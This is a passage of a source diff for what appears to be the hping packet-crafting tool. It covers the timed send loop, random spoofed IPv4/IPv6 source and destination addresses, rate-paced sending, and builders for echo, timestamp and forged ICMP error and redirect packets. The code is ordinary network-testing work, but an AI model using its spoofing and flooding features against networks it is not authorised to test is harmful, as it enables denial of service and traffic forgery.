ra[14] = hp_rand() & 0xFF;
|
||||||
|
ra[15] = hp_rand() & 0xFF;
|
||||||
|
memcpy(&ADDR6(&remote).s6_addr, ra, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void select_next_random_ipv6_source_simple(void)
|
||||||
|
{ struct in6_addr rand6;
|
||||||
|
|
||||||
|
rand6 = ipv6_rand("2200::",8);
|
||||||
|
|
||||||
|
memcpy(&ADDR6(&local).s6_addr, rand6.s6_addr,16);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
static void select_next_random_ipv6_dest_simple(void)
|
||||||
|
{
|
||||||
|
struct in6_addr rand6;
|
||||||
|
|
||||||
|
rand6 = ipv6_rand("2200::",8);
|
||||||
|
|
||||||
|
memcpy(&ADDR6(&remote).s6_addr, rand6.s6_addr,16);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void select_next_random_dest(void)
|
||||||
|
{
|
||||||
|
unsigned char ra[4];
|
||||||
|
char a[4], b[4], c[4], d[4];
|
||||||
|
|
||||||
|
if (sscanf(targetname, "%4[^.].%4[^.].%4[^.].%4[^.]", a, b, c, d) != 4)
|
||||||
|
{
|
||||||
|
fprintf(stderr,
|
||||||
|
"wrong --rand-dest target host, correct examples:\n"
|
||||||
|
" x.x.x.x, 192,168.x.x, 128.x.x.255\n"
|
||||||
|
"you typed: %s\n", targetname);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
a[3] = b[3] = c[3] = d[3] = '\0';
|
||||||
|
|
||||||
|
ra[0] = a[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(a, NULL, 0);
|
||||||
|
ra[1] = b[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(b, NULL, 0);
|
||||||
|
ra[2] = c[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(c, NULL, 0);
|
||||||
|
ra[3] = d[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(d, NULL, 0);
|
||||||
|
memcpy(&ADDR4(&remote).s_addr, ra, 4);
|
||||||
|
|
||||||
|
if (opt_debug) {
|
||||||
|
printf("DEBUG: the dest address is %u.%u.%u.%u\n",
|
||||||
|
ra[0], ra[1], ra[2], ra[3]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long long sum_bytes;
|
||||||
|
unsigned int sum_packets;
|
||||||
|
/* The signal handler for SIGALRM will send the packets */
|
||||||
|
#define TDIFF(a,b) (((a).tv_usec - (b).tv_usec)/1000+((a).tv_sec - (b).tv_sec)*1000)
|
||||||
|
void send_packet (int signal_id)
|
||||||
|
{
|
||||||
|
int errno_save = errno;
|
||||||
|
struct timeval tv1, tv2;
|
||||||
|
int lel = 0;
|
||||||
|
|
||||||
|
gettimeofday(&tv1, NULL);
|
||||||
|
do{
|
||||||
|
if (opt_rand_dest){
|
||||||
|
if(opt_ipv6) {
|
||||||
|
select_next_random_ipv6_dest();
|
||||||
|
} else {
|
||||||
|
select_next_random_dest();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (opt_rand_source){
|
||||||
|
if(opt_ipv6) {
|
||||||
|
select_next_random_ipv6_source();
|
||||||
|
} else {
|
||||||
|
select_next_random_source();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (opt_rawipmode) send_rawip();
|
||||||
|
else if (opt_icmpmode){if(opt_ipv6)send_icmp6(); else send_icmp();}
|
||||||
|
else if (opt_udpmode) send_udp();
|
||||||
|
else send_tcp();
|
||||||
|
|
||||||
|
sent_pkt++;
|
||||||
|
if((opt_pps || opt_bps) && (sum_packets & 127) == 13)
|
||||||
|
{
|
||||||
|
int el;
|
||||||
|
|
||||||
|
gettimeofday(&tv2, NULL);
|
||||||
|
el = TDIFF(tv2, tv1);
|
||||||
|
if(opt_bps)
|
||||||
|
{
|
||||||
|
if(sum_bytes * 1000 / opt_bps > el)
|
||||||
|
usleep((sum_bytes * 1000 / opt_bps - el) * 1000);
|
||||||
|
}
|
||||||
|
else if(opt_pps)
|
||||||
|
{
|
||||||
|
if(sum_packets * 1000 / opt_pps > el)
|
||||||
|
usleep((sum_packets * 1000 / opt_pps - el) * 1000);
|
||||||
|
}
|
||||||
|
if(el - lel > 100)
|
||||||
|
{
|
||||||
|
float bps, pps;
|
||||||
|
char *bpsc, *ppsc;
|
||||||
|
|
||||||
|
gettimeofday(&tv2, NULL);
|
||||||
|
el = TDIFF(tv2, tv1);
|
||||||
|
pps = (float)sum_packets*1000/el;
|
||||||
|
bps = (float)sum_bytes*8000/el;
|
||||||
|
bpsc = ppsc = "";
|
||||||
|
if(bps > 9999999999.0)
|
||||||
|
{
|
||||||
|
bps /= 1000000000.0;
|
||||||
|
bpsc = "G";
|
||||||
|
}
|
||||||
|
else if(bps > 9999999)
|
||||||
|
{
|
||||||
|
bps /= 1000000;
|
||||||
|
bpsc = "M";
|
||||||
|
}
|
||||||
|
else if(bps > 9999)
|
||||||
|
{
|
||||||
|
bps /= 1000;
|
||||||
|
bpsc = "k";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pps > 9999999)
|
||||||
|
{
|
||||||
|
pps /= 1000000;
|
||||||
|
ppsc = "M";
|
||||||
|
}
|
||||||
|
else if(pps > 9999)
|
||||||
|
{
|
||||||
|
pps /= 1000;
|
||||||
|
ppsc = "k";
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\rt: %.2fs, %.1f %spps, %.1f %sbps ", (float)el/1000.0, pps, ppsc, bps, bpsc);
|
||||||
|
fflush(stdout);
|
||||||
|
lel = el;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}while(opt_pps || opt_bps);
|
||||||
|
Signal(SIGALRM, send_packet);
|
||||||
|
|
||||||
|
if (count != -1 && count == sent_pkt) { /* count reached? */
|
||||||
|
Signal(SIGALRM, print_statistics);
|
||||||
|
alarm(COUNTREACHED_TIMEOUT);
|
||||||
|
} else if (!opt_listenmode) {
|
||||||
|
if (opt_waitinusec == FALSE)
|
||||||
|
alarm(sending_wait);
|
||||||
|
else
|
||||||
|
setitimer(ITIMER_REAL, &usec_delay, NULL);
|
||||||
|
}
|
||||||
|
errno = errno_save;
|
||||||
|
}
|
49
sendhcmp.c
Normal file
49
sendhcmp.c
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendhcmp.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 4$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <assert.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <signal.h> /* SIGALARM macro */
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
#define MUST_BE_UNREACHED 0
|
||||||
|
|
||||||
|
void send_hcmp(__u8 type, __u32 arg)
|
||||||
|
{
|
||||||
|
static struct hcmphdr hcmph; /* static because we export this */
|
||||||
|
/* to data_handler() */
|
||||||
|
|
||||||
|
data_size = signlen + sizeof(struct hcmphdr);
|
||||||
|
|
||||||
|
/* build hcmp header */
|
||||||
|
memset(&hcmph, 0, sizeof(hcmph));
|
||||||
|
hcmph.type = type;
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case HCMP_RESTART:
|
||||||
|
hcmph.typedep.seqnum = htons((__u16) arg);
|
||||||
|
break;
|
||||||
|
case HCMP_SOURCE_QUENCH:
|
||||||
|
case HCMP_SOURCE_STIRUP:
|
||||||
|
hcmph.typedep.usec = htonl(arg);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
assert(MUST_BE_UNREACHED);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* use hcmphdr_p to transmit hcmph to data_handler() */
|
||||||
|
hcmphdr_p = &hcmph;
|
||||||
|
kill(getpid(), SIGALRM); /* send hcmp */
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
283
sendicmp.c
Normal file
283
sendicmp.c
Normal file
@ -0,0 +1,283 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendicmp.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: sendicmp.c,v 1.9 2003/07/25 11:42:10 njombart Exp $ */
|
||||||
|
|
||||||
|
#include <sys/types.h> /* this should be not needed, but ip_icmp.h lacks it */
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
static int _icmp_seq = 0;
|
||||||
|
|
||||||
|
static void send_icmp_echo(void);
|
||||||
|
static void send_icmp_other(void);
|
||||||
|
static void send_icmp_timestamp(void);
|
||||||
|
static void send_icmp_address(void);
|
||||||
|
|
||||||
|
void send_icmp(void)
|
||||||
|
{
|
||||||
|
switch(opt_icmptype)
|
||||||
|
{
|
||||||
|
case ICMP_ECHO: /* type 8 */
|
||||||
|
case ICMP_ECHOREPLY: /* type 0 */
|
||||||
|
send_icmp_echo();
|
||||||
|
break;
|
||||||
|
case ICMP_DEST_UNREACH: /* type 3 */
|
||||||
|
case ICMP_SOURCE_QUENCH: /* type 4 */
|
||||||
|
case ICMP_REDIRECT: /* type 5 */
|
||||||
|
case ICMP_TIME_EXCEEDED: /* type 11 */
|
||||||
|
send_icmp_other();
|
||||||
|
break;
|
||||||
|
case ICMP_TIMESTAMP:
|
||||||
|
case ICMP_TIMESTAMPREPLY:
|
||||||
|
send_icmp_timestamp();
|
||||||
|
break;
|
||||||
|
case ICMP_ADDRESS:
|
||||||
|
case ICMP_ADDRESSREPLY:
|
||||||
|
send_icmp_address();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if (opt_force_icmp) {
|
||||||
|
send_icmp_other();
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
printf("[send_icmp] Unsupported icmp type!\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void send_icmp_echo(void)
|
||||||
|
{
|
||||||
|
char *packet, *data;
|
||||||
|
struct myicmphdr *icmp;
|
||||||
|
|
||||||
|
packet = malloc(ICMPHDR_SIZE + data_size);
|
||||||
|
if (packet == NULL) {
|
||||||
|
perror("[send_icmp] malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, ICMPHDR_SIZE + data_size);
|
||||||
|
|
||||||
|
icmp = (struct myicmphdr*) packet;
|
||||||
|
data = packet + ICMPHDR_SIZE;
|
||||||
|
|
||||||
|
/* fill icmp hdr */
|
||||||
|
icmp->type = opt_icmptype; /* echo replay or echo request */
|
||||||
|
icmp->code = opt_icmpcode; /* should be indifferent */
|
||||||
|
icmp->checksum = 0;
|
||||||
|
icmp->un.echo.id = getpid() & 0xffff;
|
||||||
|
icmp->un.echo.sequence = _icmp_seq;
|
||||||
|
|
||||||
|
/* data */
|
||||||
|
data_handler(data, data_size);
|
||||||
|
|
||||||
|
/* icmp checksum */
|
||||||
|
if (icmp_cksum == -1)
|
||||||
|
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size);
|
||||||
|
else
|
||||||
|
icmp->checksum = icmp_cksum;
|
||||||
|
|
||||||
|
/* adds this pkt in delaytable */
|
||||||
|
if (opt_icmptype == ICMP_ECHO)
|
||||||
|
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet, ICMPHDR_SIZE + data_size);
|
||||||
|
free (packet);
|
||||||
|
|
||||||
|
_icmp_seq++;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void send_icmp_timestamp(void)
|
||||||
|
{
|
||||||
|
char *packet;
|
||||||
|
struct myicmphdr *icmp;
|
||||||
|
struct icmp_tstamp_data *tstamp_data;
|
||||||
|
|
||||||
|
packet = malloc(ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data));
|
||||||
|
if (packet == NULL) {
|
||||||
|
perror("[send_icmp] malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data));
|
||||||
|
|
||||||
|
icmp = (struct myicmphdr*) packet;
|
||||||
|
tstamp_data = (struct icmp_tstamp_data*) (packet + ICMPHDR_SIZE);
|
||||||
|
|
||||||
|
/* fill icmp hdr */
|
||||||
|
icmp->type = opt_icmptype; /* echo replay or echo request */
|
||||||
|
icmp->code = 0;
|
||||||
|
icmp->checksum = 0;
|
||||||
|
icmp->un.echo.id = getpid() & 0xffff;
|
||||||
|
icmp->un.echo.sequence = _icmp_seq;
|
||||||
|
tstamp_data->orig = htonl(get_midnight_ut_ms());
|
||||||
|
tstamp_data->recv = tstamp_data->tran = 0;
|
||||||
|
|
||||||
|
/* icmp checksum */
|
||||||
|
if (icmp_cksum == -1)
|
||||||
|
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE +
|
||||||
|
sizeof(struct icmp_tstamp_data));
|
||||||
|
else
|
||||||
|
icmp->checksum = icmp_cksum;
|
||||||
|
|
||||||
|
/* adds this pkt in delaytable */
|
||||||
|
if (opt_icmptype == ICMP_TIMESTAMP)
|
||||||
|
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data));
|
||||||
|
free (packet);
|
||||||
|
|
||||||
|
_icmp_seq++;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void send_icmp_address(void)
|
||||||
|
{
|
||||||
|
char *packet;
|
||||||
|
struct myicmphdr *icmp;
|
||||||
|
|
||||||
|
packet = malloc(ICMPHDR_SIZE + 4);
|
||||||
|
if (packet == NULL) {
|
||||||
|
perror("[send_icmp] malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, ICMPHDR_SIZE + 4);
|
||||||
|
|
||||||
|
icmp = (struct myicmphdr*) packet;
|
||||||
|
|
||||||
|
/* fill icmp hdr */
|
||||||
|
icmp->type = opt_icmptype; /* echo replay or echo request */
|
||||||
|
icmp->code = 0;
|
||||||
|
icmp->checksum = 0;
|
||||||
|
icmp->un.echo.id = getpid() & 0xffff;
|
||||||
|
icmp->un.echo.sequence = _icmp_seq;
|
||||||
|
memset(packet+ICMPHDR_SIZE, 0, 4);
|
||||||
|
|
||||||
|
/* icmp checksum */
|
||||||
|
if (icmp_cksum == -1)
|
||||||
|
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + 4);
|
||||||
|
else
|
||||||
|
icmp->checksum = icmp_cksum;
|
||||||
|
|
||||||
|
/* adds this pkt in delaytable */
|
||||||
|
if (opt_icmptype == ICMP_TIMESTAMP)
|
||||||
|
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet, ICMPHDR_SIZE + 4);
|
||||||
|
free (packet);
|
||||||
|
|
||||||
|
_icmp_seq++;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void send_icmp_other(void)
|
||||||
|
{
|
||||||
|
char *packet, *data, *ph_buf;
|
||||||
|
struct myicmphdr *icmp;
|
||||||
|
struct myiphdr icmp_ip;
|
||||||
|
struct myudphdr *icmp_udp;
|
||||||
|
int udp_data_len = 0;
|
||||||
|
struct pseudohdr *pseudoheader;
|
||||||
|
int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size;
|
||||||
|
|
||||||
|
packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
|
||||||
|
if (packet == NULL || ph_buf == NULL) {
|
||||||
|
perror("[send_icmp] malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
|
||||||
|
|
||||||
|
icmp = (struct myicmphdr*) packet;
|
||||||
|
data = packet + ICMPHDR_SIZE;
|
||||||
|
pseudoheader = (struct pseudohdr *) ph_buf;
|
||||||
|
icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE);
|
||||||
|
|
||||||
|
/* fill icmp hdr */
|
||||||
|
icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */
|
||||||
|
icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */
|
||||||
|
icmp->checksum = 0;
|
||||||
|
if (opt_icmptype == ICMP_REDIRECT)
|
||||||
|
memcpy(&icmp->un.gateway, &icmp_gw.sin_addr.s_addr, 4);
|
||||||
|
else
|
||||||
|
icmp->un.gateway = 0; /* not used, MUST be 0 */
|
||||||
|
|
||||||
|
/* concerned packet headers */
|
||||||
|
/* IP header */
|
||||||
|
icmp_ip.version = icmp_ip_version; /* 4 */
|
||||||
|
icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */
|
||||||
|
icmp_ip.tos = icmp_ip_tos; /* 0 */
|
||||||
|
icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len));
|
||||||
|
icmp_ip.id = htons(getpid() & 0xffff);
|
||||||
|
icmp_ip.frag_off = 0; /* 0 */
|
||||||
|
icmp_ip.ttl = 64; /* 64 */
|
||||||
|
icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */
|
||||||
|
icmp_ip.check = 0;
|
||||||
|
memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4);
|
||||||
|
memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
|
||||||
|
icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE);
|
||||||
|
|
||||||
|
/* UDP header */
|
||||||
|
memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4);
|
||||||
|
memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
|
||||||
|
pseudoheader->protocol = icmp_ip.protocol;
|
||||||
|
pseudoheader->lenght = icmp_ip.tot_len;
|
||||||
|
icmp_udp->uh_sport = htons(icmp_ip_srcport);
|
||||||
|
icmp_udp->uh_dport = htons(icmp_ip_dstport);
|
||||||
|
icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len);
|
||||||
|
icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
|
||||||
|
|
||||||
|
/* filling icmp body with concerned packet header */
|
||||||
|
|
||||||
|
/* fill IP */
|
||||||
|
if (left_space == 0) goto no_space_left;
|
||||||
|
memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space);
|
||||||
|
left_space -= IPHDR_SIZE;
|
||||||
|
data += IPHDR_SIZE;
|
||||||
|
if (left_space <= 0) goto no_space_left;
|
||||||
|
|
||||||
|
/* fill UDP */
|
||||||
|
memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space);
|
||||||
|
left_space -= UDPHDR_SIZE;
|
||||||
|
data += UDPHDR_SIZE;
|
||||||
|
if (left_space <= 0) goto no_space_left;
|
||||||
|
|
||||||
|
/* fill DATA */
|
||||||
|
data_handler(data, left_space);
|
||||||
|
no_space_left:
|
||||||
|
|
||||||
|
/* icmp checksum */
|
||||||
|
if (icmp_cksum == -1)
|
||||||
|
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
else
|
||||||
|
icmp->checksum = icmp_cksum;
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
free (packet);
|
||||||
|
free (ph_buf);
|
||||||
|
}
|
193
sendicmp6.c
Normal file
193
sendicmp6.c
Normal file
@ -0,0 +1,193 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendicmp6.c$
|
||||||
|
* $author: Matyas Koszik <koszik@atw.hu>$
|
||||||
|
* $copyright: Copyright (C) 2006 by Matyas Koszik$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Sun Apr 16 05:51:38 CEST 2006$
|
||||||
|
* $rev: 1$
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#include <sys/types.h> /* this should be not needed, but ip_icmp.h lacks it */
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
static int _icmp_seq = 0;
|
||||||
|
|
||||||
|
static void send_icmp6_echo(void);
|
||||||
|
static void send_icmp_other(void);
|
||||||
|
|
||||||
|
void send_icmp6(void)
|
||||||
|
{
|
||||||
|
switch(opt_icmptype)
|
||||||
|
{
|
||||||
|
case ICMP6_ECHO: /* type 128 */
|
||||||
|
case ICMP6_ECHOREPLY: /* type 129 */
|
||||||
|
send_icmp6_echo();
|
||||||
|
break;
|
||||||
|
case ICMP6_DEST_UNREACH: /* type 1 */
|
||||||
|
case ICMP6_PACK_TOOBIG: /* type 2 */
|
||||||
|
case ICMP6_TIME_EXCEEDED: /* type 3 */
|
||||||
|
case ICMP6_PARAMETERPROB: /* type 4 */
|
||||||
|
send_icmp_other();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if (opt_force_icmp) {
|
||||||
|
send_icmp_other();
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
printf("[send_icmp6] Unsupported icmp type %i!\n", opt_icmptype);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void send_icmp6_echo(void)
|
||||||
|
{
|
||||||
|
char *packet, *data;
|
||||||
|
struct myicmphdr *icmp;
|
||||||
|
struct pseudohdr6 *pseudoheader6;
|
||||||
|
|
||||||
|
packet = malloc(PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size);
|
||||||
|
if (packet == NULL) {
|
||||||
|
perror("[send_icmp] malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size);
|
||||||
|
|
||||||
|
icmp = (struct myicmphdr*)(packet + PSEUDOHDR6_SIZE);
|
||||||
|
data = packet + PSEUDOHDR6_SIZE + ICMPHDR_SIZE;
|
||||||
|
|
||||||
|
/* fill icmp hdr */
|
||||||
|
icmp->type = opt_icmptype; /* echo replay or echo request */
|
||||||
|
icmp->code = opt_icmpcode; /* should be indifferent */
|
||||||
|
icmp->checksum = 0;
|
||||||
|
icmp->un.echo.id = getpid() & 0xffff;
|
||||||
|
icmp->un.echo.sequence = _icmp_seq;
|
||||||
|
|
||||||
|
/* data */
|
||||||
|
data_handler(data, data_size);
|
||||||
|
|
||||||
|
pseudoheader6 = (struct pseudohdr6*)packet;
|
||||||
|
memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16);
|
||||||
|
memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16);
|
||||||
|
pseudoheader6->protocol = 58;
|
||||||
|
pseudoheader6->lenght = htons(ICMPHDR_SIZE + data_size);
|
||||||
|
|
||||||
|
/* icmp checksum */
|
||||||
|
if (icmp_cksum == -1)
|
||||||
|
icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size + PSEUDOHDR6_SIZE);
|
||||||
|
else
|
||||||
|
icmp->checksum = icmp_cksum;
|
||||||
|
|
||||||
|
/* adds this pkt in delaytable */
|
||||||
|
if (opt_icmptype == ICMP6_ECHO)
|
||||||
|
delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT);
|
||||||
|
|
||||||
|
/* send packet */
|
||||||
|
send_ip_handler(packet + PSEUDOHDR6_SIZE, ICMPHDR_SIZE + data_size);
|
||||||
|
free (packet);
|
||||||
|
|
||||||
|
_icmp_seq++;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
static void send_icmp_other(void)
|
||||||
|
{
|
||||||
|
char *packet, *data, *ph_buf;
|
||||||
|
struct myicmphdr *icmp;
|
||||||
|
struct myiphdr icmp_ip;
|
||||||
|
struct myudphdr *icmp_udp;
|
||||||
|
int udp_data_len = 0;
|
||||||
|
struct pseudohdr *pseudoheader;
|
||||||
|
int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size;
|
||||||
|
|
||||||
|
packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
|
||||||
|
if (packet == NULL || ph_buf == NULL) {
|
||||||
|
perror("[send_icmp] malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size);
|
||||||
|
memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
|
||||||
|
|
||||||
|
icmp = (struct myicmphdr*) packet;
|
||||||
|
data = packet + ICMPHDR_SIZE;
|
||||||
|
pseudoheader = (struct pseudohdr *) ph_buf;
|
||||||
|
icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE);
|
||||||
|
|
||||||
|
/* fill icmp hdr */
|
||||||
|
icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */
|
||||||
|
icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */
|
||||||
|
icmp->checksum = 0;
|
||||||
|
icmp->un.gateway = 0; /* not used, MUST be 0 */
|
||||||
|
|
||||||
|
/* concerned packet headers */
|
||||||
|
/* IP header */
|
||||||
|
icmp_ip.version = icmp_ip_version; /* 4 */
|
||||||
|
icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */
|
||||||
|
icmp_ip.tos = icmp_ip_tos; /* 0 */
|
||||||
|
icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len));
|
||||||
|
icmp_ip.id = htons(getpid() & 0xffff);
|
||||||
|
icmp_ip.frag_off = 0; /* 0 */
|
||||||
|
icmp_ip.ttl = 64; /* 64 */
|
||||||
|
icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */
|
||||||
|
icmp_ip.check = 0;
|
||||||
|
memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4);
|
||||||
|
memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
|
||||||
|
icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE);
|
||||||
|
|
||||||
|
/* UDP header */
|
||||||
|
memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4);
|
||||||
|
memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4);
|
||||||
|
pseudoheader->protocol = icmp_ip.protocol;
|
||||||
|
pseudoheader->lenght = icmp_ip.tot_len;
|
||||||
|
icmp_udp->uh_sport = htons(icmp_ip_srcport);
|
||||||
|
icmp_udp->uh_dport = htons(icmp_ip_dstport);
|
||||||
|
icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len);
|
||||||
|
icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len);
|
||||||
|
|
||||||
|
/* filling icmp body with concerned packet header */
|
||||||
|
|
||||||
|
/* fill IP */
|
||||||
|
if (left_space == 0) goto no_space_left;
|
||||||
|
memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space);
|
||||||
|
left_space -= IPHDR_SIZE;
|
||||||
|
data += IPHDR_SIZE;
|
||||||
|
if (left_space <= 0) goto no_space_left;
|
||||||
|
|
||||||
|
/* fill UDP */
|
||||||
|
memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space);
|
||||||
|
left_space -= UDPHDR_SIZE;
|
||||||
|
data += UDPHDR_SIZE;
|
||||||
|
if (left_space <= 0) goto no_space_left;
|
||||||
|
|
||||||
|
/* fill DATA */
